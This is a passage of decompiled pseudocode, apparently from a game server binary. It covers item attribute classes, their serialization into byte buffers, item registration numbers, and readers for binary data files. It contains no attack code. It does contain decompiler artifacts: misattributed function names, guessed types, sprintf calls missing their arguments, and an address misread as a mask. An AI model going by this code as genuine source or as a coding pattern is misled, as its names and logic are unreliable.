v1->iacc_Array[9] = (ItemAttributeClass *)v1; v1->iacc_Array[10] = (ItemAttributeClass *)v1; v1->iacc_Array[11] = (ItemAttributeClass *)v1; v1->iacc_Array[12] = (ItemAttributeClass *)v1; v1->iacc_Array[13] = (ItemAttributeClass *)v1; v1->iacc_Array[14] = (ItemAttributeClass *)v1; v1->iacc_Array[15] = (ItemAttributeClass *)v1; v1->iacc_Array[16] = (ItemAttributeClass *)v1; v1->iacc_Array[17] = (ItemAttributeClass *)v1; v1->iacc_Array[18] = (ItemAttributeClass *)v1; v1->iacc_Array[19] = (ItemAttributeClass *)v1; v1->iacc_Array[20] = (ItemAttributeClass *)v1; v1->iacc_Array[21] = (ItemAttributeClass *)v1; v1->iacc_Array[22] = (ItemAttributeClass *)v1; v1->iacc_Array[23] = (ItemAttributeClass *)v1; v1->iacc_Array[24] = (ItemAttributeClass *)v1; v1->iacc_Array[25] = (ItemAttributeClass *)v1; v1->iacc_Array[26] = (ItemAttributeClass *)v1; v1->iacc_Array[27] = (ItemAttributeClass *)v1; v1->iacc_Array[28] = (ItemAttributeClass *)v1; v1->iacc_Array[29] = (ItemAttributeClass *)v1; v1->iacc_Array[30] = (ItemAttributeClass *)v1; v1->iacc_Array[31] = (ItemAttributeClass *)v1; v1->iacc_Array[32] = (ItemAttributeClass *)v1; v1->iacc_Array[33] = (ItemAttributeClass *)v1; v1->iacc_Array[0] = (ItemAttributeClass *)v2; v1->iacc_Array[1] = (ItemAttributeClass *)v3; v1->iacc_Array[2] = (ItemAttributeClass *)v4; v1->iacc_Array[3] = (ItemAttributeClass *)&v1->iacc_quest; v1->iacc_Array[4] = (ItemAttributeClass *)&v1->iacc_amulet; v1->iacc_Array[5] = (ItemAttributeClass *)&v1->iacc_weapon; v1->iacc_Array[6] = (ItemAttributeClass *)&v1->iacc_armor; v1->iacc_Array[7] = (ItemAttributeClass *)&v1->iacc_shield; v1->iacc_Array[8] = (ItemAttributeClass *)&v1->iacc_boot; v1->iacc_Array[9] = (ItemAttributeClass *)&v1->iacc_furniture; v1->iacc_Array[10] = (ItemAttributeClass *)&v1->iacc_decorate; v1->iacc_Array[11] = (ItemAttributeClass *)&v1->iacc_skillscroll; v1->iacc_Array[12] = (ItemAttributeClass *)&v1->iacc_recallscroll; v1->iacc_Array[13] = (ItemAttributeClass *)&v1->iacc_binditem; v1->iacc_Array[14] = (ItemAttributeClass *)&v1->iacc_upsource; v1->iacc_Array[15] = (ItemAttributeClass *)&v1->iacc_itemchest; v1->iacc_Array[16] = (ItemAttributeClass *)&v1->iacc_weapontitlalicence; v1->iacc_Array[17] = (ItemAttributeClass *)&v1->iacc_kingdomquest; v1->iacc_Array[18] = (ItemAttributeClass *)&v1->iacc_minihouseskin; v1->iacc_Array[19] = (ItemAttributeClass *)&v1->iacc_upgraderedgem; v1->iacc_Array[20] = (ItemAttributeClass *)&v1->iacc_upgradebluegem; v1->iacc_Array[25] = (ItemAttributeClass *)&v1->iacc_upgradegoldgem; v1->iacc_Array[21] = (ItemAttributeClass *)&v1->iacc_kqstep; v1->iacc_Array[22] = (ItemAttributeClass *)&v1->iacc_feed; v1->iacc_Array[23] = (ItemAttributeClass *)&v1->iacc_riding; v1->iacc_Array[29] = (ItemAttributeClass *)v4; v1->iacc_Array[24] = (ItemAttributeClass *)&v1->iacc_amount; v1->iacc_Array[30] = (ItemAttributeClass *)&v1->iacc_enchant; v1->iacc_Array[27] = (ItemAttributeClass *)&v1->iacc_costumweapon; v1->iacc_Array[31] = (ItemAttributeClass *)&v1->iacc_gbcoin; v1->iacc_Array[28] = (ItemAttributeClass *)&v1->iacc_actionitem; v1->iacc_Array[32] = (ItemAttributeClass *)&v1->iacc_capsule; } // 685BE8: using guessed type int (__stdcall *ItemAttributeClass___vftable_[3])(int itm, int buffer); // 685C90: using guessed type int (__stdcall *ItemAttrCls_ByteLot___vftable_[2])(int itm, int buffer); // 685D38: using guessed type int (__stdcall *ItemAttrCls_WordLot___vftable_[2])(int itm, int buffer); // 685DE0: using guessed type int (__stdcall *ItemAttrCls_DwrdLot___vftable_[2])(int itm, int buffer); // 685E88: using guessed type int (__stdcall *ItemAttrCls_QuestLot___vftable_[2])(int itm, int buffer); // 685F30: using guessed type int (__stdcall *ItemAttrCls_Amulet___vftable_[2])(int itm, int buffer); // 685FD8: using guessed type int (__stdcall *ItemAttrCls_Weapon___vftable_[2])(int itm, int buffer); // 686080: using guessed type int (__stdcall *ItemAttrCls_Armor___vftable_[2])(int itm, int buffer); // 686128: using guessed type int (__stdcall *ItemAttrCls_Shield___vftable_[2])(int itm, int buffer); // 6861D0: using guessed type int (__stdcall *ItemAttrCls_Boot___vftable_[2])(int itm, int buffer); // 686278: using guessed type int (__stdcall *ItemAttrCls_Furniture___vftable_[2])(int itm, int buffer); // 686320: using guessed type int (__stdcall *ItemAttrCls_Decoration___vftable_[2])(int itm, int buffer); // 6863C8: using guessed type int (__stdcall *ItemAttrCls_SkillScroll___vftable_[2])(int itm, int buffer); // 686470: using guessed type int (__stdcall *ItemAttrCls_RecallScroll___vftable_[2])(int itm, int buffer); // 686518: using guessed type int (__stdcall *ItemAttrCls_BindItem___vftable_[2])(int itm, int buffer); // 6865C0: using guessed type int (__stdcall *ItemAttrCls_UpSource___vftable_[2])(int itm, int buffer); // 686668: using guessed type int (__stdcall *ItemAttrCls_ItemChest___vftable_[2])(int itm, int buffer); // 686710: using guessed type int (__stdcall *ItemAttrCls_WeaponTitlaLicence___vftable_[2])(int itm, int buffer); // 6867B8: using guessed type int (__stdcall *ItemAttrCls_KingdomQuestItem___vftable_[3])(int itm, int buffer); // 686860: using guessed type int (__stdcall *ItemAttrCls_MiniHouseSkin___vftable_[2])(int itm, int buffer); // 686908: using guessed type int (__stdcall *ItemAttrCls_UpgradeRedGem___vftable_[2])(int itm, int buffer); // 6869B0: using guessed type int (__stdcall *ItemAttrCls_UpgradeBlueGem___vftable_[2])(int itm, int buffer); // 686A58: using guessed type int (__stdcall *ItemAttrCls_UpgradeGoldGem___vftable_[2])(int itm, int buffer); // 686B00: using guessed type int (__stdcall *ItemAttrCls_KQStep___vftable_[2])(int itm, int buffer); // 686BA8: using guessed type int (__stdcall *ItemAttrCls_Feed___vftable_[2])(int itm, int buffer); // 686C50: using guessed type int (__stdcall *ItemAttrCls_Riding___vftable_[2])(int itm, int buffer); // 686CF8: using guessed type int (__stdcall *ItemAttrCls_Amount___vftable_[2])(int itm, int buffer); // 686DA0: using guessed type int (__stdcall *ItemAttrCls_CostumWeapon___vftable_[3])(int itm, int buffer); // 686E48: using guessed type int (__stdcall *ItemAttrCls_ActionItem___vftable_[2])(int itm, int buffer); // 686EF0: using guessed type int (__stdcall *ItemAttrCls_Enchant___vftable_[2])(int itm, int buffer); // 686F98: using guessed type int (__stdcall *ItemAttrCls_GBCoin___vftable_[2])(int itm, int buffer); // 687040: using guessed type int (__stdcall *ItemAttrCls_Capsule___vftable_[2])(int itm, int buffer); //----- (005DB600) -------------------------------------------------------- void __thiscall ItemAttributeClassContainer::_ItemAttributeClassContainer(ItemAttributeClassContainer *this) { this->iacc_capsule.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_gbcoin.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_enchant.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_actionitem.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_costumweapon.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_amount.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_riding.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_feed.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_kqstep.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upgradegoldgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upgradebluegem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upgraderedgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_minihouseskin.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_kingdomquest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_weapontitlalicence.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_itemchest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_upsource.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_binditem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_recallscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_skillscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_decorate.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_furniture.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_boot.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_shield.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_armor.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_weapon.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_amulet.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_quest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_dwrdlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_wordlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_bytelot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_default.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; } // 685BE8: using guessed type int (__stdcall *ItemAttributeClass___vftable_[3])(int itm, int buffer); //----- (005DB670) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Capsule::iac_SetUseableDateTime(ItemAttrCls_Capsule *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour) { ItemAttributeClass::iac_SetEndTime( &this->baseclass_0.baseclass_0, (ShineDateTime *)&itm->itemattr.amulet.itemkey, hour, curtime, curhour); return (ShineDateTime *)&itm->itemattr.amulet.itemkey; } //----- (005DB6A0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amulet::iac_fill2buffer(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x36u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[29] >> 1) + 30] + ((unsigned int)(unsigned __int8)buffer[29] >> 1); } //----- (005DB6D0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Weapon::iac_fill2buffer(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x5Cu); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[67] >> 1) + 68] + ((unsigned int)(unsigned __int8)buffer[67] >> 1); } //----- (005DB700) -------------------------------------------------------- char *__thiscall ItemAttrCls_Shield::iac_fill2buffer(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x2Cu); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[19] >> 1) + 20] + ((unsigned int)(unsigned __int8)buffer[19] >> 1); } //----- (005DB730) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amulet::iac_fill2struct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x36u); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[29] >> 1) + 30] + ((unsigned int)(unsigned __int8)buffer[29] >> 1); } //----- (005DB760) -------------------------------------------------------- char *__thiscall ItemAttrCls_Weapon::iac_fill2struct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x5Cu); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[67] >> 1) + 68] + ((unsigned int)(unsigned __int8)buffer[67] >> 1); } //----- (005DB790) -------------------------------------------------------- char *__thiscall ItemAttrCls_Shield::iac_fill2struct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x2Cu); return &buffer[2 * ((unsigned int)(unsigned __int8)buffer[19] >> 1) + 20] + ((unsigned int)(unsigned __int8)buffer[19] >> 1); } //----- (005DB7C0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Amulet::iac_GetAttrSize(ItemAttrCls_Amulet *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 3 * ((unsigned int)itmattr->amulet.option.fixed.optionnumber.str._bf0 >> 1) + 30; } //----- (005DB7E0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Weapon::iac_GetAttrSize(ItemAttrCls_Weapon *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 3 * ((unsigned int)LOBYTE(itmattr->binditem.portal[6].y) >> 1) + 68; } //----- (005DB800) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Armor::iac_GetAttrSize(ItemAttrCls_Boot *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 3 * ((unsigned int)LOBYTE(itmattr->amulet.upgradeopton[0]) >> 1) + 20; } //----- (005DB820) -------------------------------------------------------- void __thiscall ItemAttributeClass::iac_itemcreate(ItemAttributeClass *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_DWORD *)&itm->iti_registnum.binary.gap0[0] = -1; itm->iti_registnum.binary._bf4 = -1; memset(&itm->iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(itm->iti_itemstruct.itemattr.binditem.portal[9].y) = 0; itm->iti_itemstruct.itemid = -1; } //----- (005DB850) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2buffer_union(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { *(_WORD *)buffer = itmid; return (char *)((int (__stdcall *)(_DWORD, _DWORD))iac->vfptr->iac_fill2buffer)(&this->iti_itemstruct, buffer + 2); } //----- (005DB880) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2buffer_atrib(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { return (char *)((int (__stdcall *)(_DWORD, _DWORD))iac->vfptr->iac_fill2buffer)(&this->iti_itemstruct, buffer); } //----- (005DB8A0) -------------------------------------------------------- void __thiscall ItemTotalInformation::iti_mkregnum(ItemTotalInformation *this, unsigned __int16 id, int method, int zone, int world) { ItemTotalInformation *v5; // esi@1 ItemAttributeClass *v6; // eax@1 struct _SYSTEMTIME tmstr; // [sp+4h] [bp-10h]@1 v5 = this; GetLocalTime(&tmstr); *(_DWORD *)&v5->iti_registnum.binary.gap0[0] = *(_DWORD *)&v5->iti_registnum.binary.gap0[0] & 0xFC000000 | ((method & 0xF | 16 * (zone & 0x1F | 32 * (unsigned __int8)serial)) << 9); *(_DWORD *)&v5->iti_registnum.binary.gap0[0] = (unsigned int)&wholesaver.ws_savestore[688].esc_abstate.buffer[11071] & *(_DWORD *)&v5->iti_registnum.binary.gap0[0] | (tmstr.wSecond << 26); ++serial; v5->iti_registnum.binary._bf4 = tmstr.wMinute & 0x3F | ((tmstr.wHour & 0x1F | 32 * (tmstr.wDay & 0x1F | 32 * (tmstr.wMonth & 0xF | 16 * (32 * (world & 0x3F) | ((_BYTE)tmstr.wYear - 16) & 0x1F)))) << 6); v5->iti_itemstruct.itemid = id; v6 = ItemAttributeClassContainer::operator__(&itmattcontainer, id); if ( v6 ) v6->vfptr->iac_ItemKetSet(v6, v5); } //----- (005DB980) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2buffer_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { *(_QWORD *)buffer = *(_QWORD *)&this->iti_registnum.binary.gap0[0]; *((_WORD *)buffer + 4) = itmid; return (char *)((int (__stdcall *)(_DWORD, _DWORD))iac->vfptr->iac_fill2buffer)(&this->iti_itemstruct, buffer + 10); } //----- (005DB9B0) -------------------------------------------------------- char *__thiscall ItemTotalInformation::iti_fill2struct_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer) { char *v4; // edi@1 ItemAttributeClass *v5; // eax@1 *(_QWORD *)&this->iti_registnum.binary.gap0[0] = *(_QWORD *)buffer; v4 = (char *)&this->iti_itemstruct; this->iti_itemstruct.itemid = *((_WORD *)buffer + 4); v5 = ItemAttributeClassContainer::operator__(&itmattcontainer, *((_WORD *)buffer + 4)); return (char *)v5->vfptr->iac_fill2struct(v5, (SHINE_ITEM_STRUCT *)v4, buffer + 10); } //----- (005DB9F0) -------------------------------------------------------- void __thiscall ItemBelongAttribute::ItemBelongAttribute(ItemBelongAttribute *this) { ItemBelongAttribute *v1; // esi@1 v1 = this; CItemAuthorityBase::CItemAuthorityBase(&this->baseclass_0); v1->baseclass_0.vfptr = (CItemAuthorityBaseVtbl *)&ItemBelongAttribute::_vftable_; } // 687138: using guessed type int (__thiscall *ItemBelongAttribute___vftable_)(void *p, char); //----- (005DBA10) -------------------------------------------------------- void __thiscall ItemBelongAttribute::_ItemBelongAttribute(ItemBelongAttribute *this) { this->baseclass_0.vfptr = (CItemAuthorityBaseVtbl *)&ItemBelongAttribute::_vftable_; CItemAuthorityBase::_CItemAuthorityBase(&this->baseclass_0); } // 687138: using guessed type int (__thiscall *ItemBelongAttribute___vftable_)(void *p, char); //----- (005DBA20) -------------------------------------------------------- BelongTypeInfo *__thiscall ItemBelongAttribute::IA_GetBelongTypeInfo(ItemBelongAttribute *this, E_BelongType idx) { BelongTypeInfo *result; // eax@2 if ( (signed int)idx < 10 ) result = &this->iba_Array[idx]; else result = 0; return result; } //----- (005DBA40) -------------------------------------------------------- E_BelongType __thiscall ItemBelongAttribute::operator__(ItemBelongAttribute *this, ItemTotalInformation *iti) { ItemDataBox::ItemDataBoxIndex *v2; // eax@2 ItemInfo *v3; // eax@3 E_BelongType result; // eax@4 if ( iti && (v2 = ItemDataBox::operator__(&itemdatabox, iti->iti_itemstruct.itemid)) != 0 && (v3 = v2->data) != 0 ) result = v3->BT_Inx; else result = 10; return result; } //----- (005DBA80) -------------------------------------------------------- int __thiscall ItemBelongAttribute::iba_Judge(ItemBelongAttribute *this, int (__thiscall *judge)(CItemAuthorityBase *, E_BelongType, SHINE_PUT_ON_BELONGED_ITEM), ItemInventoryCell *iic) { CItemAuthorityBase *v3; // ebp@1 int v4; // eax@3 ItemAttributeClass *v5; // edi@4 ItemTotalInformation *v6; // eax@4 ItemTotalInformation *v7; // ebx@4 int v8; // eax@4 ItemDataBox::ItemDataBoxIndex *v9; // eax@4 ItemDataBox::ItemDataBoxIndex *v10; // esi@4 SHINE_PUT_ON_BELONGED_ITEM v11; // eax@8 int result; // eax@8 v3 = (CItemAuthorityBase *)this; if ( judge && iic && (MoveManager::MoveManager((DiceTaiSai *)iic), v4) ) { v5 = ItemInventoryCell::iic_GetAttrProc(iic); MoveManager::MoveManager((DiceTaiSai *)iic); v7 = v6; MoveManager::MoveManager((DiceTaiSai *)iic); v9 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v8 + 8)); v10 = v9; if ( v5 && v7 && v9 && v9->data ) { v11 = (int)v5->vfptr->iac_GetIsPutOnBelonged(v5, v7); result = judge(v3, v10->data->BT_Inx, v11); } else { result = 0; } } else { result = 0; } return result; } //----- (005DBB10) -------------------------------------------------------- int __thiscall ItemBelongAttribute::iba_CanInvenReloc(ItemBelongAttribute *this, ItemInventoryCell *iic, unsigned __int16 FromInven, unsigned __int16 ToInven) { ItemInventoryCell *v4; // esi@1 CItemAuthorityBase *v5; // ebp@1 int result; // eax@2 ItemAttributeClass *v7; // edi@3 ItemTotalInformation *v8; // eax@3 ItemTotalInformation *v9; // ebx@3 int v10; // eax@3 ItemDataBox::ItemDataBoxIndex *v11; // eax@3 ItemDataBox::ItemDataBoxIndex *v12; // esi@3 SHINE_PUT_ON_BELONGED_ITEM v13; // eax@7 v4 = iic; v5 = (CItemAuthorityBase *)this; if ( iic ) { v7 = ItemInventoryCell::iic_GetAttrProc(iic); MoveManager::MoveManager((DiceTaiSai *)v4); v9 = v8; MoveManager::MoveManager((DiceTaiSai *)v4); v11 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v10 + 8)); v12 = v11; if ( v7 && v9 && v11 && v11->data ) { v13 = (int)v7->vfptr->iac_GetIsPutOnBelonged(v7, v9); result = CItemAuthorityBase::IA_CanInvenReloc(v5, v12->data->BT_Inx, v13, FromInven, ToInven, (E_RELOC_ERR *)&iic); } else { result = 0; } } else { result = 0; } return result; } //----- (005DBBA0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xC79Au, 0x186u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DBC60) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1677u, 0xE7u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DBD20) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3CAu, 0x46u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DBDD0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 1u, 0x20u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DBE80) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x134u, 0xDu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DBF30) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x46u, 0xAu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DBFE0) -------------------------------------------------------- BinaryData *__thiscall ItemDataBox::__unnamed::__unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(this); memset(&v1[1], 0, 0x184u); *(_WORD *)&v1[7].baseclass_0.m_sFileMD5.n8_name[12] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 452)); memset(&v1[8].baseclass_0.m_sFileMD5.n8_name[16], 0, 0xE4u); *(_WORD *)&v1[12].baseclass_0.m_sFileMD5.n8_name[4] = 0; v1[12].baseclass_0.m_sFileMD5.n8_name[6] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 744)); memset(&v1[13].baseclass_0.m_sFileMD5.n8_name[8], 0, 0x44u); *(_WORD *)&v1[14].baseclass_0.m_sFileMD5.n8_name[16] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 876)); *(_DWORD *)&v1[15].baseclass_0.m_sFileMD5.n8_name[20] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 940)); *(_DWORD *)&v1[16].baseclass_0.m_sFileMD5.n8_name[24] = 0; *(_DWORD *)&v1[16].baseclass_0.m_sFileMD5.n8_name[28] = 0; v1[16].baseclass_0.m_pHead = 0; v1[16].baseclass_0.m_pData = 0; v1[16].baseclass_0.m_pDataArray = 0; v1[17].baseclass_0.m_nFileSize = 0; v1[17].baseclass_0.m_nBFSize = 0; v1[17].baseclass_0.m_nDataArraySize = 0; return v1; } //----- (005DC0B0) -------------------------------------------------------- void __thiscall ItemDataBox::__unnamed::___unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)this + 940)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 876)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 744)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 452)); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (005DC130) -------------------------------------------------------- bool __thiscall ItemDataBox::ReadData(ItemDataBox *this, char *pdatafn) { ItemDataBox *v2; // esi@1 char *v3; // edi@1 bool result; // al@2 unsigned int v5; // edx@3 unsigned int v6; // ebx@3 void *v7; // eax@5 void *v8; // eax@9 void *v9; // eax@13 void *v10; // eax@15 unsigned int v11; // ecx@17 int v12; // eax@18 unsigned int v13; // ebp@20 void *v14; // eax@22 int v15; // ebx@24 void *v16; // eax@25 unsigned int v17; // ebx@28 void *v18; // eax@30 unsigned int v19; // ebp@32 void *v20; // eax@33 v2 = this; v3 = (char *)&this->idb_BinData; if ( CDataReader::Read(&this->idb_BinData.itminf.baseclass_0.baseclass_0, pdatafn, 0xC79Au, 0x186u) ) { v5 = v2->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v6 = 0; v2->idb_Itemspacies = v5; v2->idb_maxItemhandle = 0; if ( v5 ) { do { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v7 = CDataReader::GetRecord((CDataReader *)v3, v6); else v7 = v3 + 60; if ( v2->idb_maxItemhandle < *(_WORD *)v7 ) { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v8 = CDataReader::GetRecord((CDataReader *)v3, v6); else v8 = v3 + 60; 